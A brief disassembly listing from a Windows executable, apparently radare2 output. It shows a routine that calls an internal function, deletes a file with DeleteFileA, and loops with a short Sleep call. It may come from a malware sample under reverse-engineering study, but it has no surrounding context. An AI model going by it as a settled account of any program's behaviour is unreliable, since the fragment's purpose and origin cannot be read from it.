lea rcx, [rsp + 0xb0]
call fcn.1400115e0
mov r8, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov rdx, rcx
mov rcx, rax
call fcn.140002d00
lea rcx, [rsp + 0xb0]
call fcn.1400115e0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
lea rcx, [rsp + 0x90]
call fcn.14000aae0
nop
lea rcx, [rsp + 0xd0]
call fcn.14000aae0
nop
lea rcx, [rsp + 0xb0]
call fcn.14000aae0
jmp 0x1400030d0
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x48]
call fcn.14000acb0
jmp 0x140003083